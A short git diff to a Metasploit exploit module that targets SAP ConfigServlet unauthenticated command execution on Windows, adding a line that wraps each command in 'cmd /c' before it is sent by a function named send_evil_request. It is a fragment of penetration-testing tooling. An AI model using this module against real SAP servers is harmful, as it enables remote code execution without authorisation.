diff --git a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb
index 313265c049..7925d2e0a5 100644
--- a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb
+++ b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb
@@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit
 	end
 
 	def execute_command(cmd, opts)
+		cmd = "cmd /c " + cmd
 		vprint_status("Attempting to execute: #{cmd}")
 		send_evil_request(opts[:sap_configservlet_uri], cmd)
 	end